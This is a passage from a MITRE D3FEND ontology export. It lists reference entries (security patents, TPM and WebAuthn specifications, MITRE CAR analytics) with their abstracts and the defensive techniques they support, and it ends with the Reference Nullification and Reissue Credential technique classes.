kb-abstract: To make anonymous a sender name present on an actual transmission source address by including an alias transmission source address substitution unit and removing the actual transmission source address from an electronic mail message. SOLUTION: A hash value of the destination address of an electronic mail message is calculated (S330). Then, (n) blank bytes are added to a compressed actual transmission source address (S340). The true length of the actual transmission source address is hidden by adding blank bytes. Further, a 2nd bit field is added to a secret key saved locally in a remailer, and an extended secret key characteristic of the destination address is generated. Then, the compressed actual transmission source address is ciphered according to the data ciphering standards using the extended secret key characteristic of the destination address as a cipher key (S350). Further, the 2nd bit field is added to the ciphered and compressed actual transmission source address (S360).
kb-author: Eran Gabber, Phillip B Gibbons, David Morris Kristol, Yossi Matias, Alain J Mayer
kb-organization: Nokia of America Corp
kb-reference-of: Email Filtering
kb-reference-title: System and method for providing anonymous remailing and filtering of electronic mail

Reference - System and method for scanning remote services to locate stored objects with malware
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US11368475B1/
kb-abstract: A system and method for retrieval and analysis of stored objects for malware is described. The method involves receiving a scan request message from a customer to conduct analytics on one or more objects stored within a third-party controlled service. In response to receipt of the scan request message, the system generates a redirect message. The redirect message redirects the customer to an authentication portal of the third-party controlled service operating as a logon page and configures receipt by the system of access credentials for the third-party controlled service upon verification of the customer. Using the access credentials, the system is able to retrieve the one or more objects using the access credentials and performing analytics on each object of the one or more objects to classify each object as malicious or benign.
kb-author: Sai Vashisht
kb-organization: Mandiant Inc, FireEye Security Holdings US LLC
kb-reference-of: Email Removal
kb-reference-title: System and method for scanning remote services to locate stored objects with malware

Reference - System and method for strategic anti-malware monitoring - Tenable
type: PatentReference
type: NamedIndividual
has-link: https://patentimages.storage.googleapis.com/d9/02/31/3a28fefc73661d/US20230362189A1.pdf
kb-abstract: The system and method described herein may leverage active network scanning and passive network monitoring to provide strategic anti-malware monitoring in a network. In particular, the system and method described herein may remotely connect to managed hosts in a network to compute hashes or other signatures associated with processes running thereon and suspicious files hosted thereon, wherein the hashes may communicated to a cloud database that aggregates all known virus or malware signatures that various anti-virus vendors have catalogued to detect malware infections without requiring the hosts to have a local or resident anti-virus agent. Furthermore, running processes and file system activity may be monitored in the network to further detect malware infections. Additionally, the network scanning and network monitoring may be used to detect hosts that may potentially be participating in an active botnet or hosting botnet content and audit anti-virus strategies deployed in the network.
kb-author: Marcus J. Ranum, Ron Gula
kb-organization: Tenable Inc
kb-reference-of: NetworkTrafficSignatureAnalysis
kb-reference-title: System and method for strategic anti-malware monitoring

Reference - System and method for validating in-memory integrity of executable files to identify malicious activity - Endgame Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20190018962A1/en
kb-abstract: In the embodiments described herein, a malicious code detection module identifies potentially malicious instructions in volatile memory of a computing device before the instructions are executed. The malicious code detection module identifies an executable file, such as an .exe file, in memory, validates one or more components of the executable file against the same file stored in non-volatile storage, and issues an alert if the validation fails.
kb-author: Joseph W. Desimone
kb-organization: Endgame Inc
kb-reference-of: ProcessCodeSegmentVerification
kb-reference-title: System and method for validating in-memory integrity of executable files to identify malicious activity

Reference - System and method for vulnerability risk analysis
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9317692B2
kb-abstract: Embodiments of the present invention are directed to a method and system for automated risk analysis. The method includes accessing host configuration information of a host and querying a vulnerability database based on the host configuration information. The method further includes receiving a list of vulnerabilities and accessing a plurality of vulnerability scores. The list of vulnerabilities corresponds to vulnerabilities of the host. Vulnerabilities can be removed from the list based on checking for installed fixes corresponding to vulnerability. A composite risk score can then be determined for the host a nd each software product of the host based on the plurality of vulnerability scores. An aggregate risk score can then be determined for the host and each software product of the host based on the plurality of vulnerability scores.
kb-author: Matthew Cruz Elder, Darrell Martin Kienzle, Pratyusa K. Manadhata, Ryan Kumar Persaud
kb-organization: CA Inc
kb-reference-of: AssetVulnerabilityEnumeration
kb-reference-title: System and method for vulnerability risk analysis

Reference - System and methods thereof for causality identification and attributions determination of processes in a network - Palo Alto Networks IncCyber Secdo Ltd
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170195350A1/en
kb-abstract: A system is used for detection of advanced persistent and non-persistent threats in a computerized environment. The system is connected to a plurality of user devices coupled to an enterprise's network. The system receives via an interface an electronic notification of at least one event in the operating system of the computer. The system then analyzes the at least one event. The system then generates a causality chain for the at least one event respective of the analysis. The causality chain comprises all the threads that attributed to the at least one event in a chronological order. The system then identifies a main thread that started the causality chain that led to the at least one event. Then, the system determines whether the main thread is associated with malicious software. Upon determination that the main thread is associated with malicious software, the causality chain is marked as infected.
kb-author: Gil BARAK
kb-mitre-analysis: This patent describes detecting malicious processes on a host. Agents are deployed on hosts that monitor all initiated processes and determine whether a process was initiated at boot or initiated by another process. If not initiated at boot or by another process, the process is identified as suspicious and an alert is triggered.
kb-organization: Palo Alto Networks IncCyber Secdo Ltd
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: System and methods thereof for causality identification and attributions determination of processes in a network

Reference - System and methods thereof for identification of suspicious system processes - Palo Alto Networks Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170286683A1/en
kb-abstract: A computerized method for identification of suspicious processes executing on an end-point device communicatively connected to network, the network communicatively connected to a server, the method comprising receiving, by the server, a record of at least one process, initiated by and executing on by the end-point device. One or more parameters associated with the at least one process are identified. A first time pointer is identified corresponding to the identified one or more parameters, a first time pointer. A second time pointer at which a user associated with the end-point device initiated a user dependent process is identified. Whether the second time pointer occurred before the first time pointer is identified. It is determined whether the at least one process was initiated by the user based on identification of user dependent processes and corresponding attribution. An action is performed based on the above determination.
kb-author: Gil BARAK
kb-mitre-analysis: The patent describes detecting malicious processes by identifying the order of process initiation. The start of a user initiated process (user query, opening an application, etc.) is compared with the start of processes initiated by the device (ex. during boot). In addition, a determination is made on whether processes are not initiated by a user by examining process parameters such as type of process, its creator, source, etc. If it is determined that a user initiated process was started before a process initiated by the device and a process was not initiated by the user, the process is marked as suspicious.
kb-organization: Palo Alto Networks Inc
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: System and methods thereof for identification of suspicious system processes

Reference-SystemAndMethodsThereofForLogicalIdentificationOfMaliciousThreatsAcrossAPluralityOfEnd-pointDevicesCommunicativelyConnectedByANetwork PaloAltoNetworksIncCyberSecdoLtd
type: PatentReference
type: NamedIndividual
label: Reference - System and methods thereof for logical identification of malicious threats across a plurality of end-point devices (epd) communicatively connected by a network - Palo Alto Networks IncCyber Secdo Ltd
has-link: https://patents.google.com/patent/US20180373870A1/en
kb-abstract: A computerized method for logical identification of malicious threats across a plurality of end-point devices (EPD) communicatively connected by a network, comprising collecting over the network an identifier associated with each file of a plurality of files, wherein each file of the plurality of files is installed on at least one of the plurality of EPDs and wherein the identifier is the same for each like file of the plurality of file. Information associated with an identified subset of files is collected, wherein the information indicates at least a time at which the at least one file was installed on one or more of the plurality of EPDs and the way the at least one file spread within the network. The collected information is analyzed according to a set of predetermined computerized investigation rules. The analysis is used to determine whether at least a file of the identified subset files is a suspicious file.
kb-author: Gil BARAK
kb-mitre-analysis: This patent describes detecting suspicious files using file metadata such as the prevalence of the file deployed on the network, file installation times, and how the file was spread within the network. The combination of these factors are used to determine a risk score of the file and if below a threshold, sends an alert.
kb-organization: Palo Alto Networks IncCyber Secdo Ltd
kb-reference-of: FileContentRules
kb-reference-title: System and methods thereof for logical identification of malicious threats across a plurality of end-point devices (epd) communicatively connected by a network

Reference - System and methods thereof for preventing ransomware from encrypting data elements stored in a memory of a computer-based system - Palo Alto Networks Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170308711A1/en
kb-abstract: A computerized method for preventing ransomware from encrypting data elements stored in a memory of a computer-based system, the method comprising identifying at least one identifier for a data element, wherein the at least one identifier indicates at least a position of the data element within the memory. An optimal number of virtual traps is determined for the data element corresponding to the at least one identifier. An optimal position for each of the virtual traps is determined corresponding to the at least one identifier. The virtual traps are send to the determined optimal position within the memory.
kb-author: Gil BARAK
kb-organization: Palo Alto Networks Inc
kb-reference-of: DecoyFile
kb-reference-title: System and methods thereof for preventing ransomware from encrypting data elements stored in a memory of a computer-based system

Reference - System for detecting threats using scenario-based tracking of internal and external network traffic - VECTRA NETWORKS Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20160191563A1
kb-abstract: Disclosed is an improved approach to implement a system and method for detecting insider threats, where models are constructed that is capable of defining what constitutes the normal behavior for any given hosts and quickly find anomalous behaviors that could constitute a potential threat to an organization. The disclosed approach provides a way to identify abnormal data transfers within and external to an organization without the need for individual monitoring software on each host, by leveraging metadata that describe the data exchange patterns observed in the network.
kb-author: Nicolas BEAUCHESNE; David Lopes Pegna
kb-mitre-analysis: Determination of anomalous data transfers is performed over a given time period. For example, a check of a pull vs. push data ratio can be established over a specific time period, e.g., over a three-hour period, over a one day period, over a one week period, etc. The system can also establish a baseline behavior for data exchange for each host in terms of pull vs. push data ratio for each resource contacted by the host. Network packet capture data is collected and metadata is extracted. Aggregate data push/pull information from the metadata is then analyzed for a given host versus specific client to server relationships. This technique can potentially catch lateral data transfers, and may have filtering on alerting logic to only raise alarms when external hosts receive large data transfers.
kb-organization: VECTRA NETWORKS Inc
kb-reference-of: PerHostDownload-UploadRatioAnalysis
kb-reference-title: System for detecting threats using scenario-based tracking of internal and external network traffic

Reference - System for implementing threat detection using threat and risk assessment of asset-actor interactions - VECTRA NETWORKS Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20160191559A1
kb-abstract: Disclosed is an approach to detect insider threats, by tracking unusual access activity for a specific user or computer with regard to accessing key assets over time. In this way, malicious activity and the different preparation phases of attacks can be identified.
kb-author: Himanshu Mhatre; David Lopes Pegna; Oliver Brdiczka
kb-mitre-analysis: The patent describes an insider threat detection system that analyzes packets sent within a network to identify and isolate malicious behavior. Current network traffic is collected and developed into a baseline that establishes the amount of data sent and received between a specific asset and a host. Current data transfer values are then compared with the baseline to identify anomalies.
kb-organization: VECTRA NETWORKS Inc
kb-reference-of: UserDataTransferAnalysis
kb-reference-title: System for implementing threat detection using threat and risk assessment of asset-actor interactions

Reference - Systems and methods for detecting credential theft - Symantec Corp
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10162962B1
kb-abstract: The disclosed computer-implemented method for detecting credential theft may include (i) monitoring a secured computing system's credential store that may include at least one sensitive credential that may be used to facilitate authentication of a user that is attempting to access the secured computing system, (ii) gathering, while monitoring the credential store, primary evidence of an attempted theft of the sensitive credential from the credential store, (iii) gathering corroborating evidence of the attempted theft of the sensitive credential, and (iv) performing a security action in response to gathering the primary evidence and the corroborating evidence of the attempted theft. The primary evidence of the attempted theft of the sensitive credential may include evidence of any suspicious access of the sensitive credential from the credential store that occurs outside of a procedure of authenticating the user. Various other methods, systems, and computer-readable media are also disclosed.
kb-author: Adam Glick; Brian Schlatter; Feng Li; Akshata Krishnamoorthy Rao
kb-organization: Symantec Corp
kb-reference-of: CredentialCompromiseScopeAnalysis
kb-reference-title: Systems and methods for detecting credential theft

Reference - TCG Trusted Attestation Protocol Use Cases for TPM Families 1.2 and 2.0 and DICE
type: SpecificationReference
type: NamedIndividual
has-link: https://trustedcomputinggroup.org/wp-content/uploads/TCG_TNC_TAP_Use_Cases_v1r0p35_published.pdf
kb-reference-title: TCG Trusted Attestation Protocol Use Cases for TPM Families 1.2 and 2.0 and DICE

Reference - TPM 2.0 Library Specification - Trusted Computing Group, Incorporated
type: SpecificationReference
type: NamedIndividual
has-link: https://trustedcomputinggroup.org/resource/tpm-library-specification/
kb-abstract: This specification defines the Trusted Platform Module (TPM) a device that enables trust in computing platforms in general. It is broken into parts to make the role of each part clear. All parts are required in order to constitute a complete standard. For a complete definition of all requirements necessary to build a TPM, the designer will need to use the appropriate platform-specific specification to understand all of the requirements for a TPM in a specific application or make appropriate choices as an implementer. Those wishing to create a TPM need to be aware that this specification does not provide a complete picture of the options and commands necessary to implement a TPM. To implement a TPM the designer needs to refer to the relevant platform-specific specification to understand the options and settings required for a TPM in a specific type of platform or make appropriate choices as an implementer.
kb-author: Trusted Computing Group
kb-organization: Trusted Computing Group, Incorporated
kb-reference-of: TPMBootIntegrity
kb-reference-title: TPM 2.0 Library Specification

Reference - Tamper proof mutating software - ARXAN TECHNOLOGIES Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9262600B2/en
kb-abstract: System and method is disclosed for protecting client software running on a client computer from tampering using a secure server. Prior to or independent of executing the client software, the system integrates self-protection into the client software; removes functions from the client software for execution on the server; develops client software self-protection updates; and periodically distributes the updates. During execution of the client software, the system receives an initial request from the client computer for execution of the removed function; verifies the initial request; and cooperates with the client computer in execution of the client software if verification is successful. If verification is unsuccessful, the system can attempt to update the client software on the client computer; and require a new initial request. Client software can be updated on occurrence of a triggering event. Communications can be encrypted, and the encryption updated. Authenticating checksums can be used for verification.
kb-author: Kevin Dale Morgan
kb-organization: ARXAN TECHNOLOGIES Inc
kb-reference-of: ProcessCodeSegmentVerification
kb-reference-title: Tamper proof mutating software

Reference - Technical Specifications for Construction and Management of Sensitive Compartmented Information Facilities
type: SpecificationReference
type: NamedIndividual
has-link: https://www.dni.gov/files/Governance/IC-Tech-Specs-for-Const-and-Mgmt-of-SCIFs-v15.pdf
kb-author: National Counterintelligence and Security Center
kb-reference-of: RFShielding
kb-reference-title: Technical Specifications for Construction and Management of Sensitive Compartmented Information Facilities

Reference - Tenable Passive Network Monitoring
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.tenable.com/sites/default/files/solution-briefs/SB-Passive-Network-Monitoring.pdf
kb-abstract: Tenable Nessus® Network Monitor (NNM), a passive monitoring sensor, continuously discovers active assets on the network and assesses them for vulnerabilities. NNM is based on patented network discovery and vulnerability analysis technology that continuously monitors and profiles non-intrusively. It monitors IPv4, IPv6 and mixed network traffic at the packet layer to determine topology, services and vulnerabilities.
kb-organization: Tenable
kb-reference-of: DirectPhysicalLinkMapping
kb-reference-of: PassiveLogicalLinkMapping
kb-reference-title: Tenable Passive Network Monitoring

Reference - Testing Metrics for Password Creation Policies by Attacking Large Sets of Revealed Passwords
type: AcademicPaperReference
type: NamedIndividual
has-link: https://www.cs.umd.edu/~jkatz/security/downloads/passwords_revealed-weir.pdf
kb-author: Matt Weir, Sudhir Aggarwal, Michael Collins, Henry Stern
kb-reference-of: StrongPasswordPolicy
kb-reference-title: Testing Metrics for Password Creation Policies by Attacking Large Sets of Revealed Passwords

Reference - The Pyramid of Pain - David Bianco
type: InternetArticleReference
type: NamedIndividual
has-link: http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
kb-abstract: This article identifies progressive levels of adversary difficulty encountered for various types of indicators.
kb-author: David Bianco
kb-reference-of: IdentifierActivityAnalysis
kb-reference-title: The Pyramid of Pain

Reference - Threat detection for return oriented programming - Crowdstrike Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20140075556A1
kb-abstract: This disclosure describes, in part, techniques for detecting security exploits associated with return-oriented programming. The techniques include determining that a retrieved count is indicative of malicious activity, such as return oriented programming. The count may be retrieved from a processor performance counter of prediction mismatches, the prediction mismatches resulting from comparisons of a call stack of a computing device and of a shadow call stack maintained by a processor of the computing device. The techniques further include performing at least one security response action in response to determining that the count indicates malicious activity.
kb-author: Georg WICHERSKI
kb-mitre-analysis: This patent describes a technique for detecting shellcode security exploits. A call stack of a computing device is compared with a shadow call stack maintained by a processor of the computing device since a return oriented program may only be able to control or spoof the call stack and not the shadow call stack. Mismatches between the two are counted and if the number of mismatches exceeds a certain threshold it is an indication of malicious activity and a security response action is performed.
kb-organization: Crowdstrike Inc
kb-reference-of: ShadowStackComparisons
kb-reference-title: Threat detection for return oriented programming

Reference - Threat detection through the accumulated detection of threat characteristics - Sophos Ltd
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9104864B2/en
kb-abstract: Embodiments of the present disclosure provide for improved capabilities in the detection of malware, where malware threats are detected through the accumulated identification of threat characteristics for targeted computer objects. Methods and systems include dynamic threat detection providing a first database that correlates a plurality of threat characteristics to a threat, wherein a presence of the plurality of the threat characteristics confirms a presence of the threat; detecting a change event in a computer run-time process; testing the change event for a presence of one or more of the plurality of characteristics upon detection of the change event; storing a detection of one of the plurality of characteristics in a second database that accumulates detected characteristics for the computer run-time process; and identifying the threat when each one of the plurality of characteristics appears in the second database.
kb-author: Clifford Penton; Irene Michlin
kb-organization: Sophos Ltd
kb-reference-of: ProcessCodeSegmentVerification
kb-reference-title: Threat detection through the accumulated detection of threat characteristics

Reference - Tokenless biometric transaction authorization method and system
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US5870723A/
kb-abstract: A method and system for tokenless authorization of commercial transactions between a buyer and a seller using a computer system. A transaction is proposed by a seller, and the buyer signals his acceptance by entering his personal authentication information comprising a PIN and at least one biometric sample, forming a commercial transaction message. The commercial transaction message is forwarded to the computer system, where the computer system compares the personal authentication information in the commercial transaction message with previously registered buyer biometric samples. If the computer system successfully identifies the buyer, a financial account of the buyer is debited and a financial account of the seller is credited, and the results of the transaction are presented to both buyer and seller. As a result of the invention, a buyer can conduct commercial transactions without having to use any tokens such as portable man-made memory devices such as smartcards or swipe cards. The invention allows buyers to quickly select one of a group of different financial accounts from which to transfer funds. The invention further indicates to the user that the authentic computer system was accessed by the use of a private code that is returned to the buyer after the identification is complete. The invention additionally permits an authorized buyer to alert authorities in the event of an emergency, such as when a transaction is coerced.
kb-organization: SmartTouch Inc
kb-reference-of: BiometricAuthentication
kb-reference-title: Tokenless biometric transaction authorization method and system

Reference - Tripwire
type: UserManualReference
type: NamedIndividual
has-link: https://linux.die.net/man/8/tripwire
kb-reference-of: FileIntegrityMonitoring
kb-reference-title: Reference - Tripwire

Reference - Trusted Attestation Protocol Use Cases
type: SpecificationReference
type: NamedIndividual
has-link: https://trustedcomputinggroup.org/wp-content/uploads/TCG_TNC_TAP_Use_Cases_v1r0p35_published.pdf
kb-article: ## Document Abstract This specification defines the Trusted Platform Module (TPM) a device that enables trust in computing platforms in general. It is broken into parts to make the role of each part clear. All parts are required in order to constitute a complete standard. For a complete definition of all requirements necessary to build a TPM, the designer will need to use the appropriate platform-specific specification to understand all of the requirements for a TPM in a specific application or make appropriate choices as an implementer. Those wishing to create a TPM need to be aware that this specification does not provide a complete picture of the options and commands necessary to implement a TPM. To implement a TPM the designer needs to refer to the relevant platform-specific specification to understand the options and settings required for a TPM in a specific type of platform or make appropriate choices as an implementer.
kb-reference-title: Trusted Attestation Protocol Use Cases

Reference - Type Systems
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://www.cs.princeton.edu/courses/archive/fall98/cs441/mainus/node4.html
kb-organization: Princeton University
kb-reference-of: Variable Type Validation
kb-reference-title: Why type checking?

Reference - CAR-2019-04-001: UAC Bypass - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2019-04-001/
kb-abstract: Bypassing user account control (UAC Bypass) is generally done by piggybacking on a system process that has auto-escalate privileges. This analytic looks to detect those cases as described by the open-source UACME tool.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2019-04-001: UAC Bypass

Reference - UEFI Platform Initialization (PI) Specification
type: SpecificationReference
type: NamedIndividual
has-link: https://uefi.org/sites/default/files/resources/PI_Spec_1_7_A_final_May1.pdf
kb-reference-of: BootloaderAuthentication
kb-reference-title: UEFI Platform Initialization (PI) Specification

Reference - USB filter for hub malicious code prevention system
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9990325B2/en
kb-abstract: The present invention relates generally to computer systems, and more specifically, to a universal serial bus (USB) filter hub for a computer system.
kb-author: Steven R Hetzler, Daniel F Smith
kb-organization: International Business Machines Corp
kb-reference-of: IOPortRestriction
kb-reference-title: Universal serial bus (USB) filter hub malicious code prevention system

Reference - Understanding the Domain Registration Behavior of Spammers
type: AcademicPaperReference
type: NamedIndividual
has-link: https://citeseerx.ist.psu.edu/document
kb-abstract: Spammers register a tremendous number of domains to evade blacklisting and takedown efforts. Current techniques to detect such domains rely on crawling spam URLs or monitoring lookup traffic. Such detection techniques are only effective after the spammers have already launched their campaigns, and thus these countermeasures may only come into play after the spammer has already reaped significant benefits from the dissemination of large volumes of spam. In this paper we examine the registration process of such domains, with a particular eye towards features that might indicate that a given domain likely has a malicious purpose at registration time, before it is ever used for an attack. Our assessment includes exploring the characteristics of registrars, domain life cycles, registration bursts, and naming patterns. By investigating zone changes from the .com TLD over a 5-month period, we discover that spammers employ bulk registration, that they often re-use domains previously registered by others, and that they tend to register and host their domains over a small set of registrars. Our findings suggest steps that registries or registrars could use to frustrate the efforts of miscreants to acquire domains in bulk, ultimately reducing their agility for mounting large-scale attacks.
kb-author: Hao S, Thomas M, Paxson V, Feamster N, Kreibich C, Grier C, Hollenbeck S
kb-reference-of: Domain Registration Takedown
kb-reference-title: Understanding the Domain Registration Behavior of Spammers

Reference - Use of an application controller to monitor and control software file and application environments - Sophos Ltd
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20180032727A1
kb-abstract: In embodiments of the present invention, a framework for an extensible, file-based security system is described for determining an appropriate application, application environment, and/or access or security control measure based at least in part on a file's reputation. In response to the selection of a file, an application controller may be used to select a software application from two or more software applications to open the selected file, based at least in part on the selected file's reputation. If launched, a software application may be configured to open the file in an environment, such as a virtual machine, quarantined environment, and the like, that is appropriate for the file based at least in part on the reputation information. A software application may be a secure software application configured to manage secure files, or an insecure software application configured to manage insecure files. The selected file, and communications relating to the selected software application, may be managed according to the selected software application's secure or insecure configuration. Further, the selected software application may associate reputation information with all files that are modified and/or created by the selected software application, including at least in part, reputation information matching that of the selected file.
kb-author: Andrew J. Thomas
kb-mitre-analysis: This patent describes received files being open in an environment such as a virtual machine or quarantined environment to associate file reputation information that determines if a file is a threat.
kb-organization: Sophos Ltd
kb-reference-of: DynamicAnalysis
kb-reference-title: Use of an application controller to monitor and control software file and application environments

Reference - CAR-2016-04-003: User Activity from Stopping Windows Defensive Services - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2016-04-003/
kb-abstract: Spyware and malware remain a serious problem and Microsoft developed security services, Windows Defender and Windows Firewall, to combat this threat. In the event Windows Defender or Windows Firewall is turned off, administrators should correct the issue immediately to prevent the possibility of infection or further infection and investigate to determine if caused by crash or user manipulation.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: SystemDaemonMonitoring
kb-reference-title: CAR-2016-04-003: User Activity from Stopping Windows Defensive Services

Reference - CAR-2013-10-001: User Login Activity Monitoring - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-10-001/
kb-abstract: Monitoring logon and logoff events for hosts on the network is very important for situational awareness. This information can be used as an indicator of unusual activity as well as to corroborate activity seen elsewhere. Could be applied to a number of different types of monitoring depending on what information is desired. Some use cases include monitoring for all remote connections and building login timelines for users. Logon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: AuthenticationEventThresholding
kb-reference-title: CAR-2013-10-001: User Login Activity Monitoring

Reference - Using spanning tree protocol (STP) to enhance layer-2 topology maps
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US8045488B2
kb-abstract: Spanning Tree Protocol (STP) data is obtained via network switch (SNMP) queries to enhance identification of switch-to-switch links in Layer-2 mapping. In particular, by analyzing the STP data, ambiguity in determining switch uplink ports may be reduced. Specifically, the STP data can be used in conjunction with other topography data to provide Layer-2 connectivity for nodes on a network topology. Layer-2 address mapping tables are collected from a topology mapping, and STP data is collected, along with address translation tables (ARP) tables. Using this information, switches are identified using Layer-2 address tables. The STP data can be correlated by comparing data in switches, identifying switch ports directly connected to other switch ports, and eliminating direct switch-to-switch port connections from consideration for further Layer-2 node mappings.
kb-author: Michael Jon Swan
kb-organization: SolarWinds Worldwide LLC
kb-reference-of: Active Physical Link Mapping
kb-reference-title: Using spanning tree protocol (STP) to enhance layer-2 topology maps

Reference - Variable Initialization - CWE-457
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://cwe.mitre.org/data/definitions/457.html
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: VariableInitialization
kb-reference-title: CWE-457: Use of Uninitialized Variable

Reference - Virtualized process isolation - Advanced Micro Devices Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20180081829A1
kb-abstract: Systems, apparatuses, and methods for implementing virtualized process isolation are disclosed. A system includes a kernel and multiple guest VMs executing on the system's processing hardware. Each guest VM includes a vShim layer for managing kernel accesses to user space and guest accesses to kernel space. The vShim layer also maintains a separate set of page tables from the kernel page tables. In one embodiment, data in the user space is encrypted and the kernel goes through the vShim layer to access user space data. When the kernel attempts to access a user space address, the kernel exits and the vShim layer is launched to process the request. If the kernel has permission to access the address, the vShim layer copies the data to a region in kernel space and then returns execution to the kernel.
kb-author: David A. Kaplan
kb-organization: Advanced Micro Devices Inc
kb-reference-of: Hardware-basedProcessIsolation
kb-reference-title: Virtualized process isolation

Reference - Web Authentication: An API for accessing Public Key Credentials Level 2
type: SpecificationReference
type: NamedIndividual
has-link: https://www.w3.org/TR/webauthn-2/
kb-abstract: This specification defines an API enabling the creation and use of strong, attested, scoped, public key-based credentials by web applications, for the purpose of strongly authenticating users. Conceptually, one or more public key credentials, each scoped to a given WebAuthn Relying Party, are created by and bound to authenticators as requested by the web application. The user agent mediates access to authenticators and their public key credentials in order to preserve user privacy. Authenticators are responsible for ensuring that no operation is performed without user consent. Authenticators provide cryptographic proof of their properties to Relying Parties via attestation. This specification also describes the functional model for WebAuthn conformant authenticators, including their signature and attestation functionality.
kb-author: W3C
kb-reference-of: Credential Transmission Scoping
kb-reference-title: Web Authentication: An API for accessing Public Key Credentials Level 2

Reference - What is NX/XD feature?
type: InternetArticleReference
type: NamedIndividual
has-link: https://access.redhat.com/solutions/2936741
kb-abstract: What is NX/XD feature ? How to check whether NX/XD is enabled ? How to enable or disable NX/XD? NX/XD is a hardware cpu feature which is provided in almost all the hardware. Some BIOS has advanced option of enabling or disabling it. NX stands for No eXecute and XD stands for eXecute Disable. Both are same and is a technology used in processors to prevent execution of certain types of code.
kb-author: Red Hat
kb-organization: Red Hat
kb-reference-of: ProcessSegmentExecutionPrevention
kb-reference-title: What is NX/XD feature?

Reference - What is Hardware Write Protect?
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.yokogawa.com/us/library/resources/faqs/pressure-what-is-hardware-write-protect/#:~:text=The%20hardware%20write%20protection%20is,Burn%20Out%20(BO)%20switch
kb-abstract: Transmitters used in safety systems, environmentally sensitive applications, custody transfer, or critical processes need to be secure from tampering or inadvertent changes to their setup that may lead to errors and failures. Yokogawa’s pressure transmitters have the security of a Software Write Protection (Password) and a Hardware Write Protection (Switch) to secure programming changes and physical cover locks to secure the transmitter electronics. These security features can be applied independently or in combination to build the level of security desired.
kb-author: YOKOGAWA
kb-reference-of: Hardware-basedWriteProtection
kb-reference-title: What is Hardware Write Protect?

Reference - Wikipedia: Motion detector
type: InternetArticleReference
type: NamedIndividual
has-link: https://en.wikipedia.org/wiki/Motion_detector
kb-abstract: Overview of motion detectors, including PIR and microwave technologies, applications, and limitations.
kb-author: Wikipedia contributors
kb-reference-of: MotionSensorMonitoring
kb-reference-title: Motion detector

Reference - Wikipedia: Passive infrared sensor
type: InternetArticleReference
type: NamedIndividual
has-link: https://en.wikipedia.org/wiki/Passive_infrared_sensor
kb-abstract: Background on passive infrared sensors, principles of operation, and typical deployment considerations.
kb-author: Wikipedia contributors
kb-reference-of: MotionSensorMonitoring
kb-reference-title: Passive infrared sensor

Reference - Wikipedia: Proximity card
type: InternetArticleReference
type: NamedIndividual
has-link: https://en.wikipedia.org/wiki/Proximity_card
kb-abstract: Overview of proximity cards used in access control, their operating principles, and security aspects.
kb-author: Wikipedia contributors
kb-reference-of: ProximitySensorMonitoring
kb-reference-title: Proximity card

Reference - Wikipedia: RFID
type: InternetArticleReference
type: NamedIndividual
has-link: https://en.wikipedia.org/wiki/RFID
kb-abstract: General overview of radio-frequency identification systems, tags, readers, and security considerations.
kb-author: Wikipedia contributors
kb-reference-of: ProximitySensorMonitoring
kb-reference-title: RFID

Reference - Windows 10 STIG
type: GuidelineReference
type: NamedIndividual
has-link: https://www.stigviewer.com/stig/windows_10/
kb-abstract: Windows 10 STIG guidance.
kb-reference-of: ApplicationConfigurationHardening
kb-reference-title: Windows 10 Security Technical Implementation Guide

Reference - CAR-2014-11-006: Windows Remote Management (WinRM) - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: AdministrativeNetworkActivityAnalysis
kb-reference-title: CAR-2014-11-006: Windows Remote Management (WinRM)

Reference Nullification
type: Class
type: NamedIndividual
d3fend-id: D3-RN
definition: Invalidating all pointers that reference a specific memory block, ensuring that the block cannot be accessed or modified after deallocation.
hardens: MemoryFreeFunction
kb-article: ## How it Works Nullifying references to memory blocks makes those blocks no longer accessible. This is critical to prevent use-after-free errors. ## Considerations * If a memory block is freed, all other references to that block should be nullified. * This is particularly relevant when manually managing memory. * Note: This resource should not be considered a definitive or exhaustive coding guideline.
kb-reference: Reference - Reference Nullification
subclass of: Restriction
  on property: hardens
  some values from: MemoryFreeFunction
subclass of: SourceCodeHardening

Reissue Credential
type: Class
type: NamedIndividual
d3fend-id: D3-RIC
definition: Issue a new credential to a user which supercedes their old credential.
kb-reference: Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks
restores: Credential
subclass of: Restriction
  on property: restores
